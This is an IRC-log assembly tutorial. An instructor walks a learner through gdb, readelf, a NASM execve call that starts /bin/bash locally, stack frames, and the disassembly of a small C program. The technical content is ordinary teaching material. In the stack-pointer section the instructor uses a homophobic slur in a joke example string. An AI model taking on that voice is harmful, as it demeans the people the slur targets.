<Factionwars> So we will add a breakpoint on _start
<Factionwars> Your entry point
<Factionwars> So "break _start"
<Factionwars> You can delete breakpoints with d/delete
<Factionwars> Now run it again

Code: [Select]
(gdb) break _start
Breakpoint 1 at 0x8048060
(gdb) run
Starting program: /rba/nasm/lesson1
 
Breakpoint 1, 0x08048060 in _start ()

Quote
<Factionwars> Now the program has loaded everything in memory and you can analyze all the things that happen.
<Factionwars> Try out some commands
<Factionwars> "disas", "info registers", "s/step", "n/next"
<Factionwars> Try to visualize what happens
<Factionwars> By doing "disas" look at the registers, step, disas, look at the registers, step, disas
<Factionwars> you will get the idea
<Factionwars> Do you like  how awesome it is that asm just does what you tell it?
<Factionwars> When you do a "xor" there is no code who runs the xor :)
<Factionwars> It's all up to you to instruct the processor

Code: [Select]
(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) break _start
Breakpoint 3 at 0x8048060
(gdb) run
Starting program: /rba/nasm/lesson1
 
Breakpoint 3, 0x08048060 in _start ()
(gdb) disas
Dump of assembler code for function _start:
=> 0x08048060 <+0>:     mov    eax,0x1337
   0x08048065 <+5>:     xor    eax,eax
   0x08048067 <+7>:     mov    ax,0x1
   0x0804806b <+11>:    xor    ebx,ebx
   0x0804806d <+13>:    inc    ebx
   0x0804806e <+14>:    int    0x80
End of assembler dump.
(gdb) into registers
Undefined command: "into".  Try "help".
(gdb) info registers
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0x0      0
esp            0xbffffcf0       0xbffffcf0
ebp            0x0      0x0
esi            0x0      0
edi            0x0      0
eip            0x8048060        0x8048060 <_start>
eflags         0x296    [ PF AF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x0      0



# - Lesson 2 - Syscall 11 execve

0x01 the .data section

Quote
<Factionwars> First write the usual skeleton, until you reach the _start
<Factionwars> rba_work, before the text section add a data section
<Factionwars> section .data
<Factionwars> The data section is used to store Global and Static variables.

So our very basic ELF file layout now looks like this:

Code: (asm) [Select]
section .data
    ; initialized data

section .text
    global _start

_start:
    ; do something here

0x02 the dX instruction

Quote
<Factionwars> rba_work, in nasm you have a instruction called "dX" where d stands for define and the X is the data type. So in order to store a string we can use db == define byte and then enter a string or sequence of bytes.
<Factionwars> Let's define /bin/bash
<Factionwars> It's very easy, just input db "/bin/bash"
<rba_work> ok.. thats a var containing the string "/bin/bash"?
<Factionwars> It just puts the bytes right there in the data segment
<Factionwars> It's not a variable and it's not managed
<Factionwars> But
<Factionwars> If you have a little experience with programming you might know that in order to make it a valid string you will have to end a string with a null byte
<Factionwars> Can you do that ? :)
<Factionwars> hint: ", XXX
<rba_work> uh.. I have no clue.. lol. db, "$" .. I think I have seen that somewhere
<Factionwars> What is a null byte?
<rba_work> 0x00?
<Factionwars> jep
<rba_work> db "/bin/bash/, 0x00 ?
<Factionwars> So what does the string needs ?
<Factionwars> exactly :D
<Factionwars> Now we need a way to reference it
<Factionwars> That is where nasm is handy in comparison with raw assembly
<Factionwars> Nasm uses labels, just like _start: or any other label, nasm handles all the low level location troubles and headaches for you.
<Factionwars> so in order to reference your byte sequence you can add a label like : "bashString: db "/bin/bash", 0x00"

Code: (asm) [Select]
section .data
    bashString: db "/bin/bash", 0x00        ; define a sequence of bytes referenced by bashString
section .text
    global _start

_start:
    ; do something here

0x03 sys_execve syscall

Quote
<Factionwars> Can you think of any syscall we could use to execute /bin/bash?
<rba_work> you mentioned it earlier syscall 11 sys_execve
<rba_work> :P
<Factionwars> xD
<Factionwars> Now go ahead and man it and tell me what is does to your process
<Factionwars> 1 sentece
<Factionwars> sentence
<rba_work> it executes what I define in EBX, ECX is used for the commandline args?? and I have no clue what that means: char *const envp[]
<Factionwars> That does not answer my question :)
<Factionwars> "what it does to your process"

Can you answer the question?

Quote
<rba_work> execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.
<Factionwars> maybe use man execve instead of man 2 execve
<Factionwars> You don't even need to read more than a paragraph from man execve
<Factionwars> rba_work,
<Factionwars> If you for once say what i want.. because i have a key clue laying around here :P
<Factionwars> I am going to do the next lessons without access to port 80 for you sir
<Factionwars> Gonna whip him, with this dragon thing from runescape. Where the graphics are so fucking worse that it hurts your eyes while it hurts your butt.
<rba_work> sorry.. the phone again. I throw it out of the window now
<rba_work> ok.. the programm loaded by execve overwrittes the stuff I defined in the calling process?
<Factionwars> What does the sentence say>?
<Factionwars> You can ask questions
<Factionwars> If you don't know what something means
<Factionwars> Or that or you give a right answer :P
<Factionwars> up to you :P
<rba_work> ok :P tbh I have no clue how to answer that question. My process to start the bash disappears after I loaded bash?
<Factionwars> Do you know what "the current process image" means?
<rba_work> memory image?
<rba_work> no, I guess.. lol
<Factionwars> When you assemble your file everything is written in segments, wich are the same as sections as you know it. When you launch a process the whole file is copied directly into memory. This resulting in having the perfect memory layout for your process. So your heap, data, bss, text etc. sections are written to the executable file and when launched copied into memory in your private memory space giving you a process image.
<Factionwars> Try out the linux app "readelf" you can do readelf --all executable or readelf --sections executable

Code: [Select]
debian nasm # readelf --all lesson1
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048060
  Start of program headers:          52 (bytes into file)
  Start of section headers:          148 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         1
  Size of section headers:           40 (bytes)
  Number of section headers:         5
  Section header string table index: 2

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .text             PROGBITS        08048060 000060 000010 00  AX  0   0 16
  [ 2] .shstrtab         STRTAB          00000000 000070 000021 00      0   0  1
  [ 3] .symtab           SYMTAB          00000000 00015c 000080 10      4   4  4
  [ 4] .strtab           STRTAB          00000000 0001dc 00002c 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

There are no section groups in this file.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD           0x000000 0x08048000 0x08048000 0x00070 0x00070 R E 0x1000

 Section to Segment mapping:
  Segment Sections...
   00     .text

There is no dynamic section in this file.

There are no relocations in this file.

The decoding of unwind sections for machine type Intel 80386 is not currently supported.

Symbol table '.symtab' contains 8 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND
     1: 08048060     0 SECTION LOCAL  DEFAULT    1
     2: 00000000     0 FILE    LOCAL  DEFAULT  ABS lesson1.asm
     3: 00000000     0 FILE    LOCAL  DEFAULT  ABS
     4: 08048060     0 NOTYPE  GLOBAL DEFAULT    1 _start
     5: 08049070     0 NOTYPE  GLOBAL DEFAULT    1 __bss_start
     6: 08049070     0 NOTYPE  GLOBAL DEFAULT    1 _edata
     7: 08049070     0 NOTYPE  GLOBAL DEFAULT    1 _end

No version information found in this file.

Quote
<Factionwars> When you read the sections you can for example see that the .text section has AX flag. Where X means that you are allowed to execute code there :)
<rba_work> ok.. I can see that
<Factionwars> So what do you think that execve's replacing the memory image means in noob slang
<rba_work> the new process is copied in the location where I am allowed to execute?
<Factionwars> Almost
<Factionwars> Note some parts of my speech
<Factionwars> When you launch a process the whole file is copied directly into memory
<Factionwars> This resulting in having the perfect memory layout for your process.  == Process image
<Factionwars> We are almost there :)
<rba_work> ok.. so bash get copied into the location where my .text has been
<Factionwars> I am going to note parts of the note some parts of my speech part xD
<Factionwars> the whole file is copied
<Factionwars> rba_work, you are so close
<rba_work>  thee locations in memory where my "lesson2" programm was stored gets overwritten
<Factionwars> yay
<rba_work> because I copy the sections from the "bash" into it
<Factionwars> No not only the sections but everything

Quote
<Factionwars> So question, you can answer by analyzing the way i ask it but i ask for a little honesty if you are not sure.
<Factionwars> So the next*
<Factionwars> Do you need to do an exit call after you do a successfull execve call in order to make everything close down smoothly
<rba_work> I would assume no. Because after I executed the syscall my programm is gone anyways?
<rba_work> or my process
<Factionwars> :D
<Factionwars> Now write down or take in mind the arguments for execve, you can write them down on a piece of paper and add notes and make things clear for yourself.
<rba_work> I will try it :)
<Factionwars> I will ofcourse help you :P

Code: (c) [Select]
int execve(const char *filename, char *const argv[], char *const envp[]);
# First argument is a pointer to the file you want to execute
# Second argument is a array of pointers to command line arguments you want to pass
# third argument is a array of pointers of key, value pairs passed as enviroment to the new programm

Quote
<Factionwars> the char *const envp[] can be zero
<Factionwars> rba_work, do you know what char * loll means?
<Factionwars> Well, rba_work :D
<rba_work> yes.. thats a pointer to loll. It only stores the memory location of loll and not its content
<Factionwars> Jep :)
<Factionwars> And a label in nasm is the exact same
<rba_work> I made an intro to c some month ago.. lol
<rba_work> ok
<Factionwars> When you use it nasm replaces it with the adress
<Factionwars> Just like precompiler variables in c
<Factionwars> preproccessor*
<rba_work> ah.. I see.. so when I move bashlabel to EBX or something like that it does not store the string only the location where it is located?
<Xires> Factionwars; just an FYI, preprocessor variables do not replace the name w/ address
<Xires> preprocessor replaces the name with the defined content..kinda like running an sed script on the code real quick...find DEFINED_NAME, replace with DEFINED_VAL
<Factionwars> No but labels hold an adress in nasm and in c it holds the value defined
<Factionwars> There is no variable in nasm other than the adress
<Factionwars> That's what i am pointing at
<Factionwars> anyway
<Factionwars> rba_work,
<rba_work> yes
<Xires> I understand..just trying to make sure the terminology is correct with regard to C
<Factionwars> Yep :)
<Factionwars> rba_work, yes when you do mov ebx, _start. ebx will hold the location of _start.
<Factionwars> Because on this level there is no such thing as a string variable
<Factionwars> The only thing you have is a begin adress and a 0x00 byte.
<Factionwars> That is the definition of a string on this level
<Factionwars> Later on when you are using c you will encounter the same.
<rba_work> ok.. I think I understood it. For the arguments I need to pass to execv. the first is pretty clear.. here I need to provide my label. Don't think I need the second and third in this case, right?
<Xires> rba_work; execv() != execve()
<Factionwars> rba_work, No but you need to pass them in a correct format. So if you want to give zero arguments, make sure the function will not read arbitary data.
<Xires> <Factionwars> The only thing you have is a begin adress and a 0x00 byte.
<Xires> ^ hint
<Xires> Factionwars; you're doin' a fairly awesome job
<Xires> I'm going to go plot against an evil corporation now
<Xires> have fun
<Factionwars> Ah well, always try to write tutorials and stuff. But i think this form is a pretty good one.,
<Factionwars> Good luck :P
<Xires> rba_work; good luck..you're doin' well so far
<rba_work> its difficult tbh. But all first steps are difficult.. lol. Thx :)
<Factionwars> Allright
<Factionwars> Let's get blazing
<Factionwars> First EAX
<rba_work> mov EAX, 0x0b
<Factionwars> congrats
<Factionwars> :D
<Factionwars> btw
<Factionwars> Something i use : python2, and then in the cli app "print 0x0b" for example
<Factionwars> or i = 123123
<Factionwars> i.encode("hex")
<rba_work> I use hex(11) :)
<Factionwars> nice :)
<Factionwars> next on, ebx
<rba_work> I have no clue but I would try mov ebx, 0x00 or xor ebx, ebx ?
<Factionwars>  int execve(const char *filename, char *const argv[],
<Factionwars>                   char *const envp[]);
<Factionwars> So the first argument is?
<rba_work> the script name?
<Factionwars> const char *filename
<rba_work> ah.. I see.. lol. Totally overlooked it.. lol
<Factionwars> And as you know the first argument is passed on by ebx
<rba_work> mov ebx, bashlabelö
<rba_work> ?
<Factionwars> without the ö xD
<rba_work> :)
[<Factionwars> As you might know in c the command line arguments are put in argv
<Factionwars> And it's a pointer
<Factionwars> A pointer array.
<Factionwars> An array of char pointers to be exact
<Factionwars> the pointer itself has to be valid, but the array has to be zero
<Factionwars> So if i have your attention we can do something awesome
<rba_work> sure :) when you say awesome you mean difficult to understand, right? lol
<Factionwars> no awesome
<rba_work> ok :P

0x04 A short intro to the stack


Quote
<Factionwars> LIFO
<Factionwars> Did you ever work in a supermarket?
<Factionwars> In a supermarket you have FIFO, first in first out. This results when you take a product from a shelve you take the oldest one. And the shopkeeper puts in the newest at the back so the oldest get's taken out. When you would implement a LIFO order in a supermarket you will find expired products at the back of the shelve. Well, we want that:P
<Factionwars> Next on
<Factionwars> The stack
<Factionwars> The stack is a LIFO structure
<Factionwars> The stack can be controlled via different ways.
<Factionwars> Let's first tell what the stack is used for,
<Factionwars> The stack is used for, local variables, arguments(in higher languages like C), and a functions return adress ( we will cover that later).
<Factionwars> The registers are only 32 bits wide, and when you are processing big strings, arrays or anything else the stack is the perfect place. Though when things tend to get really really big or you need a global/static variable declared at runtime you will use the heap (later on we will talk)
<Factionwars> I am going to sound like vivek.
<Factionwars> So because we need to give execve a pointer to an empty array we will use the stack
<Factionwars> The basic stack usage is through POP and PUSH
<Factionwars> push ebx  pushes the value of ebx on the stack
<Factionwars> pop ebx pushes the latest value on the stack into ebx
<Factionwars> push ebx - push ecx - pop ebx
<Factionwars> Will do ?
<Factionwars> Will result in?*

Try to answer it before you go on reading :)

Quote
<rba_work> I push ebx and ecx on the stack. pop ebx updates ebx on the stack with the last value I assigned to it?
<Factionwars> resulting in ebx having the same value as?
<rba_work> ecx? cause that was the last I pushed on the stack? LIFO?
<Factionwars> yes :)
<Factionwars> So we want to create an pointer pointing at a bunch of zero's
<Factionwars> Do you have any clue where to start?
<Factionwars> you can hit the jackpot with this question
<Factionwars> It's a hard one

And again.. can you answer the question?

Quote
<rba_work> I have no clue but I try to answer it. eax holds the syscall ebx the label which is a pointer to the defined string. so I would xor ecx, ecx to make it empty. than I would push ecx and pop a couple of other registers. Tbh that sounds wrong.. lol
<rba_work> ok.. I have no clue
<Factionwars> You went in to the good direction.
<Factionwars> In order to make a empty array we can xor ecx to zero, then push it onto the stack. And then magic

0x05 the esp register

Quote
<Factionwars> A register you have not yet used but now you will : esp/sp the STACK POINTERRRRR
<Factionwars> The ESP register holds the value of the current top of the stack
<Factionwars> In other words, when i push "HELLO I AM A TOTAL FAGGOT" to the stack and i put ESP into EAX. EAX will then point to my string :D
<Factionwars> Do you understand any of that?
<rba_work> I get a slight idea. after I pushed the zeroed ecx to the stack I could mov ecx, esp and mov edx, esp?
<Factionwars> :)
<Factionwars> And then when you push other things the value of esp would change but not the value of ecx :P
<Factionwars> Though i hope you can understand that when you go popping you will pop off your pushed zero variable :)
<rba_work> if I do xor ecx, ecx then push ecx and pop ecx. ecx would not change.. right?
<rba_work> I guess I need to re-read that again :)
<Factionwars> Nope
<Factionwars> Well,
<Factionwars> I think it's good to just get this example going and the go on gdb
<rba_work> ok :P I will re-read it in a quite hour at home and come back to you if it is still unclear
<Factionwars> Sometime you just have to do it
<Factionwars> And see how it really works
<Factionwars> You can't really imagine how a car works when you never visualized one :P
<rba_work> thats true and a good point :)
<rba_work> ok.. I guess I have it so far.. sec

Code: (asm) [Select]
section .data
        bashstring:  db "/bin/bash", 0x00

section .text
        global _start

_start:
        mov eax, 0x0b           ; prepare the execve syscall
        mov ebx, bashstring     ; first argument is a pointer to the script that should be executed
        xor ecx, ecx            ; zero out ecx
        push ecx                ; push ecx on the stack
        mov ecx, esp            ; copy the stack pointer into ecx to have a pointer for argv
        mov edx, esp            ; copy the stack pointer into edx to have a pointer for envp
        int 0x80                ; execute it


Quote
[15:41:43] <Factionwars> Does it work ? :P
[15:41:53] <rba_work> I will try it :)
[15:43:33] <rba_work> It works.. ;)
[15:43:43] <Factionwars> Congrats :D
[15:44:05] <Factionwars> Be proud of yourself
[15:44:17] <Factionwars> You didn't watch a corny youtube video and wrote the same thing he did

0x06 visualisation

Code: [Select]
root@DebDev86:/home/rba/asm# ls
lesson2.asm
root@DebDev86:/home/rba/asm# nasm -f elf32 lesson2.asm
root@DebDev86:/home/rba/asm# ld lesson2.o -o lesson2 -m elf_i386
root@DebDev86:/home/rba/asm# cat /etc/gdb/gdbinit
# System-wide GDB initialization file.
set disassembly-flavor intel
root@DebDev86:/home/rba/asm# ps aux | grep bash
root     17421  0.0  0.1   5224  2528 pts/0    Ss   10:33   0:00 -bash
rba      17466  0.0  0.1   5248  2576 pts/0    S    10:33   0:00 bash
root     17536  0.0  0.0   4704  1856 pts/0    S    10:40   0:00 bash
root     17582  0.0  0.0   3548   792 pts/0    S+   10:49   0:00 grep bash
root@DebDev86:/home/rba/asm# ./lesson2
root@DebDev86:/home/rba/asm# ps aux | grep bash
root     17421  0.0  0.1   5224  2528 pts/0    Ss   10:33   0:00 -bash
rba      17466  0.0  0.1   5248  2576 pts/0    S    10:33   0:00 bash
root     17536  0.0  0.0   4704  1860 pts/0    S    10:40   0:00 bash
root     17583  0.0  0.0   3144  1636 pts/0    S    10:50   0:00 [bash]
root     17585  0.0  0.0   2020   524 pts/0    S+   10:50   0:00 grep bash
root@DebDev86:/home/rba/asm# exit
exit
root@DebDev86:/home/rba/asm# gdb lesson2
...
(gdb) break _start
Breakpoint 1 at 0x8048080
(gdb) run
Starting program: /home/rba/asm/lesson2

Breakpoint 1, 0x08048080 in _start ()
(gdb) disas
Dump of assembler code for function _start:
=> 0x08048080 <+0>: mov    eax,0xb
   0x08048085 <+5>: mov    ebx,0x8049094
   0x0804808a <+10>:  xor    ecx,ecx
   0x0804808c <+12>:  push   ecx
   0x0804808d <+13>:  mov    ecx,esp
   0x0804808f <+15>:  mov    edx,esp
   0x08048091 <+17>:  int    0x80
End of assembler dump.
(gdb) info registers
eax            0x0  0
ecx            0x0  0
edx            0x0  0
ebx            0x0  0
esp            0xbffff840 0xbffff840
ebp            0x0  0x0
esi            0x0  0
edi            0x0  0
eip            0x8048080  0x8048080 <_start>
eflags         0x292  [ AF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x0  0
(gdb) run
Single stepping until exit from function _start,
which has no line number information.
process 17588 is executing new program: /bin/bash

Breakpoint 1, 0x08064678 in _start ()
(gdb) disas
Dump of assembler code for function _start:
=> 0x08064678 <+0>: xor    ebp,ebp
   0x0806467a <+2>: pop    esi
   0x0806467b <+3>: mov    ecx,esp
   0x0806467d <+5>: and    esp,0xfffffff0
   0x08064680 <+8>: push   eax
   0x08064681 <+9>: push   esp
   0x08064682 <+10>:  push   edx
   0x08064683 <+11>:  push   0x80f5f50
   0x08064688 <+16>:  push   0x80f5f60
   0x0806468d <+21>:  push   ecx
   0x0806468e <+22>:  push   esi
   0x0806468f <+23>:  push   0x8062dc0
   0x08064694 <+28>:  call   0x80626c0 <__libc_start_main@plt>
   0x08064699 <+33>:  hlt   
   0x0806469a <+34>:  nop
   0x0806469b <+35>:  nop
   0x0806469c <+36>:  nop
   0x0806469d <+37>:  nop
   0x0806469e <+38>:  nop
   0x0806469f <+39>:  nop
   0x080646a0 <+40>:  mov    eax,0x812e777
   0x080646a5 <+45>:  sub    eax,0x812e774
...
 
End of assembler dump.
(gdb) info registers
eax            0xb7fff908 -1207961336
ecx            0xb7ffbd3b -1207976645
edx            0xb7ff0590 -1208023664
ebx            0xb7ffeff4 -1207963660
esp            0xbfffff20 0xbfffff20
ebp            0x0  0x0
esi            0xbfffff28 -1073742040
edi            0x8064678  134628984
eip            0x8064678  0x8064678 <_start>
eflags         0x286  [ PF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

After the process executed the execve syscall our lesson2 process gets overwritten with the bash process
process 17588 is executing new program: /bin/bash

Bonus question :)

Quote
<Xires> rba_work; what's significant about the .text section?
<Factionwars> Xires, we are not totally there :P
<Xires> K
<Factionwars> Not about section protection and everything
<Xires> K
<Factionwars> But rba_work  try to answer it :)

After reading the first lesson you should be able to answer Xires question the way I did

Quote
<rba_work> its the section where my actual program code goes that is executed?
<Factionwars> That will do :P
<rba_work> puh.. lol. The pressure.. lol


# - Lesson 3 - disassemble a c program

0x01 Intro

sample Program in c

Code: (c) [Select]
#include <stdio.h>
     
//A local uninitalized and initialized variable.
int global_uninitalized;
int global_initialized = 1;
     
int main(int argc, char * argv[])
{
    //A local variable
    int local = 150;
    //If argc < 2 then please give arguments:P
    if(argc < 2)
        printf("Please give me a integer");
    //atoi == ascii to integer, it parses a ascii string and gives back the int
    //, so 1 in ascii is 1 in real integer and not the number of the ascii value itself.
    local += atoi(argv[1]);
     
    //printf the addition, where the first parameter is parsed and %d is a string format argument
    //Wich equals "decimal", so it expects a decimal to be placed there as second parameter
     
    printf("The addition of 150 + %s = %d", argv[1], local);
     
    return 0;
}

Quote
<Factionwars> soso
<Factionwars> Well if you understand this code
<Factionwars> Let's get to the more awesome parts of asm
<Factionwars> gcc -m32 inputfile -o outputfile
<Factionwars> Run it and see if it does what you think it does

Code: [Select]
root@DebDev86:/home/rba/asm# gcc -m32 lesson3.c -o lesson3
root@DebDev86:/home/rba/asm# ./lesson3 10
The addition of 150 + 10 = 160

0x02 define hook-stop in gdb

Quote
<Factionwars> Load it in gdb
<Factionwars> and break the _start
<rba_work> ok
<Factionwars> you afk or something
<rba_work> no.. I did it :)
<rba_work> have it open in gdb and set a breakpoint at _start.
<Factionwars> took you so long? :P
<Factionwars> Allright
<rba_work> I went ahead and run a disas and understood nothing.. lol.
<Factionwars> That's not what i instructed
<rba_work> I know.. I am sorry :(
<Factionwars> Allright
<Factionwars> type in "k" to kill it
<Factionwars> sec
<Factionwars> allright rba_work
<Factionwars> Now i am going to introduce you to something nice of gdb
<Factionwars> "define hook-stop"
<Factionwars> That allows you to set commands on everytime you step :)
<Factionwars> So type in disas *enter* end *enter*
<Factionwars> after the define hook-stop ofc
<Factionwars> sorry :P
<rba_work> ah.. nice.. I have that

Code: [Select]
root@DebDev86:/home/rba/asm# gdb ./lesson3
...
(gdb) break _start
Breakpoint 1 at 0x8048360
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>disassemble
>end
(gdb) run 10
Starting program: /home/rba/asm/lesson3 10
Dump of assembler code for function main:
   0x0804844c <+0>:    push   ebp
   0x0804844d <+1>:    mov    ebp,esp
=> 0x0804844f <+3>:    and    esp,0xfffffff0
   0x08048452 <+6>:    sub    esp,0x20
   0x08048455 <+9>:    mov    DWORD PTR [esp+0x1c],0x96
   0x0804845d <+17>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x08048461 <+21>:    jg     0x804846f <main+35>
   0x08048463 <+23>:    mov    DWORD PTR [esp],0x8048540
   0x0804846a <+30>:    call   0x8048320 <printf@plt>
   0x0804846f <+35>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048472 <+38>:    add    eax,0x4
   0x08048475 <+41>:    mov    eax,DWORD PTR [eax]
   0x08048477 <+43>:    mov    DWORD PTR [esp],eax
   0x0804847a <+46>:    call   0x8048350 <atoi@plt>
   0x0804847f <+51>:    add    DWORD PTR [esp+0x1c],eax
   0x08048483 <+55>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048486 <+58>:    add    eax,0x4
   0x08048489 <+61>:    mov    eax,DWORD PTR [eax]
   0x0804848b <+63>:    mov    edx,DWORD PTR [esp+0x1c]
   0x0804848f <+67>:    mov    DWORD PTR [esp+0x8],edx
   0x08048493 <+71>:    mov    DWORD PTR [esp+0x4],eax
   0x08048497 <+75>:    mov    DWORD PTR [esp],0x8048559
   0x0804849e <+82>:    call   0x8048320 <printf@plt>
   0x080484a3 <+87>:    mov    eax,0x0
   0x080484a8 <+92>:    leave 
   0x080484a9 <+93>:    ret   
End of assembler dump.


Breakpoint 1, 0x08048360 in _start ()

0x03 basic unix function prologue

Quote
<Factionwars> delete your breakpoints
<Factionwars> "D"
<Factionwars> lowecase that is
<Factionwars> break on main
<Factionwars> run it
<Factionwars> and what do you see
<Factionwars> What is something noticable
<rba_work> nice.. it breaks on main and automatically executes the disas command :) esp gets loaded with the memory location of main?
<Factionwars> There is 1 thing you should be able to notice pretty easily
<Factionwars> You set a breakpoint on main
<Factionwars> And where is your EIP?
<Factionwars> You don't need to enter any commands
<Factionwars> just look :P
<Factionwars> EIP == [e]instruction pointer
<rba_work>  here? 0x0804843f <+3>:     and    esp,0xfffffff0
<Factionwars> Yes and what do you think is odd about that (in your mind)
<rba_work> its a pretty high memory location?
<Factionwars> nothing odd about the +3 ?
<Factionwars> You didn't stepped there?
<Factionwars> Type in disas
<Factionwars> or disas main
<Factionwars> Don't you see any instructions before the current?
<rba_work> there are two. push ebp and mov ebp,esp

Code: [Select]
(gdb) run 10
Starting program: /home/rba/asm/lesson3 10
Dump of assembler code for function main:
   0x0804844c <+0>:    push   ebp
   0x0804844d <+1>:    mov    ebp,esp
=> 0x0804844f <+3>:    and    esp,0xfffffff0
...

Quote
<Factionwars> yay
<Factionwars> :D
<Factionwars> Those are +0 and +1
<rba_work> yes
<Factionwars> Location of main +0
<Factionwars> that is what the + means
<Factionwars> Well
<Factionwars> To get to the point
<Factionwars> GDB skipped those 2 instructions because they are the most basic unix function prologue
<Factionwars> The prologue is there to set up everything for the function to work correctly in it's own space.
<Factionwars> The prologue is in +0 - +6 in this function
<Factionwars> What happens is a pretty rough concept to get at first. But it saves the EBP, which is the base pointer of the stack on the stack. Then is moves esp (the current top of the stack) into ebp ( the bottom of the stack ) Thus resulting in ?
<Factionwars> What do you think?
<Factionwars> Maybe try to visualize if you can
<rba_work> give me a minute.. lol :P
<Factionwars> Just say if you don't know:P
<Factionwars> You don't have to think about it forever
<Factionwars> rba_work, i understand that you have a slow monday but you can throw the ball back at me already :P
<rba_work> I don't get it.. first I push the empty ebp on the stack. Afterwards I copy the location esp is pointing to ebp. this should be the location of the top of the stack, right?
<Factionwars> Yes
<Factionwars> Mhm
<rba_work> good.. is the and the logical and operation?
<Factionwars> No don't go on yet:P
<rba_work> ok
<Factionwars> You don't know what the begin means :P
<Factionwars> See it as a paper folded staircase.
<Factionwars> Those shitty things kids create just to waste paper and annoy teachers
<Factionwars> Imagine yourself keeping it up
<Factionwars> And move the beginning to the upper place
<Factionwars> This will result in ?
<Factionwars> You having a new?
<rba_work> stair?
<Factionwars> Yes so doing that on a stack will give you a new stack :D
<Factionwars> But it's called a stack frame
<Factionwars> sadly
<rba_work> that means the main function gets a new stack frame?
<Factionwars> Yes
<rba_work> for its local variables and stuff
<Factionwars> Correct :)

0x04 sub esp, 0x20

Quote
<Factionwars> What then happens is the biggest brainfuck you will have to get around when using a stack
<Factionwars> 0x08048436 <+6>:    sub    esp,0x20
<Factionwars> rba_work,
<Factionwars> The stack grows downward
<Factionwars> DEAL WITH IT
<Factionwars> lol
<Factionwars> In linux the stack grows downwards by default
<rba_work> from high to low memory locations, right?
<Factionwars> correct





Quote
<Factionwars> To give you a little idea of how that would look
<Factionwars> The subtract esp by 0x20 is to make space for variables
<Factionwars> This is because the GNU compiler doesn't really use POP and PUSH for optimization but uses offsets from esp
<Factionwars> We can see this in the next cmp instruction

0x05 cmp DWORD PTR [ebp+0x8],0x1

Quote
<rba_work> DWORD PTR is a 4byte pointer?
<Factionwars> Yes :)
<Factionwars> the funny thing is
<Factionwars> Something you really need to focus on now to remember it and let is make sense
<Factionwars> [ebp+0x8]
<Factionwars> This goes against everything i just told. Do you know whY?
<rba_work> tbh... no :( it compares the location saved in ebp+0x8 with 0x1.. I don't see how that makes sense :(
<Factionwars> I can totally understand that :D
<Factionwars> I woulnd't get it either xD
<Factionwars> Well the stack grows from high to low memory
<Factionwars> And ebp is the base of the stack
<Factionwars> Thus ebp+0x8 being out of the current...?
<rba_work> if ebp is the beginning of my stack frame it should hold the highest available address in the stack frame. adding dec 8 to it would be outside the stack frame. It should be -8 as it grows from high to low memory locations?
<Factionwars> Correct,
<Factionwars> And this is because the calling convention used on linux and specifically in this architechture, elf file and whatnot. Says that you should pass the arguments by stack
<Factionwars> So when you call a function and you want to give arguments to that function you push them on the stack and call the function. Then the function creates his own stack frame resulting in the arguments being at ebp+0x08
<Factionwars> Being before the stack frame
<Factionwars> Does this make any sense?
<Factionwars> Trust me when you get the hang of thinking at this level everything will go smoothly in the rest of your life
<rba_work> the arguments for my function are stored in a different stack frame?
<Factionwars> Well, yes
<Factionwars> Just before the current
<Factionwars> And as you see you can very easily adress it
<Factionwars> In fact that cmp is the same as if(argc < 2)
<rba_work> why compare it with 0x01.. shouldn't it be 0x02?
<Factionwars> Well
<Factionwars> That is because a cmp always comes with a jump
<Factionwars> Or a different action
<Factionwars> \
<Factionwars> But as you can see it is followed by a jump
<Factionwars> "jg"
<Factionwars> Jump if greater
<Factionwars> And if it's greater than 1 it jumps past the printf
<Factionwars> It's inverted. Compilers do such thing all the time to optimize everything
<Factionwars> Ah well
<Factionwars> Where i wanted to go was
<Factionwars> Why is the arguments at 0x08
<Factionwars> let's first find the argument
<Factionwars> Do you remember your argument?
<Factionwars> You can re-run the program with "r ARGUMENT"

Code: [Select]
(gdb) r 10
The program being debugged has been started already.
Start it from the beginning? (y or n) y

0x06 gdbs examine command

Quote
<Factionwars> Allright
<Factionwars> Lets inspect the location at ebp+0x8
<Factionwars> Do that
<Factionwars> Great try
<Factionwars> But you have no such clue
<Factionwars> THe fuck you doing
<rba_work>  trying to figure out how that x command works.. lol
<Factionwars> Dude
<Factionwars> Ask me
<Factionwars> I am waiting for you
<Factionwars> :P
<Factionwars> ASK ME XD
<rba_work> I have seen it a couple of times in the book.. lol. Thought I would be able to do it.
<Factionwars> Not without a little trick
<rba_work> its x/10dw.. but I don't understand the output.. can't see my 10 there
<Factionwars> No it's not
<Factionwars> Comon just ask me
<rba_work> how do I do it?
<Factionwars> First, to remember things we use (as said previously) namings. Words, phrases.
<Factionwars> EXAMINE ONE HEX BYTE FROM EBP+0x8
<Factionwars> Say it in your head
<Factionwars> Now say the exact same while reading x/1xb $ebp+0x8
